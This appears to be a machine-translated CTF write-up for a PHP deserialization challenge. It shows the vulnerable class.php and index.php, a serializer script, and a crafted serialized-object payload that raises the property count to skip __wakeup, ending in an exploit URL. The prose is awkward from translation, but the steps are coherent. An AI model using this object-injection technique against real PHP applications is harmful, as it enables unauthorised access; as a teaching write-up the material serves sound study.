[Geeks Challenge 2019] solution to a problem with the analysis of PHP CTF

Knowledge Point

  • php serialize and deserialize
    serialized: the serialize function (), the type of complex data into a compressed string data type can be an array, a string, etc. Object
    deserialize: function to unserialize (), character convert a string into a variable or object processes
    commonly used magic method:
    __construct (): when you create an object initialization, when an object is created is called
    __wakeup () is triggered when using unserialize
    __sleep () is triggered when using the serialize
    __destruction (): the destruction of the end the object, when an object is destroyed is called

  • Private
    Private field declared as a private field, visible only in the class declaration, the instance of the object is not visible in the class and subclass of this class. Thus private field name of the field in the sequence, the class name and field names are prefixed front \ 0. Also includes a string length of the prefix length

  • the __wakeup () bypassed
    when deserialization string, greater than the actual value of the attribute number of the number of attributes, execution will skip the __wakeup () function

    Thinking and problem-solving process

    1. Contents scanning
    access connection there may be subject to information disclosure according to prompts speculation, we scan the directory backup files found: www.zip, find the backup file to the source code


    2. The code audit
    found php code in index.php
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

This contains class.php file, select the values of the parameters passed by the GET method, then deserialize the value, guess this question and de-serialization-related vulnerabilities
and then review class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

If the password = 100, username = admin, when calling __destruct () can be obtained flag, so we need to construct a sequence of such password = 100, username = admin

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
$b = serialize($a);
echo $b;
?>

Resulting combined serialized

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}



3. bypassing __wakeup ()

the __wakeup () method $ this-> username = 'guest' username will re-assignment. When deserializing string, an attribute value of the number greater than the actual number of attributes, will skip the __wakeup (performed) functions, we can string O: 4: "Name" behind 2 to 3 and the integer

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

Note that private class used to declare a field, private before the serialization class and field names should be added to the character ASCII code 0 (no visible characters), if we copied directly result, the blank character is lost, we need to add yourself

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Select this string as the value of the parameter, GET past send flag may be obtained

http://题目链接/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

Guess you like

Origin www.cnblogs.com/g0udan/p/12327150.html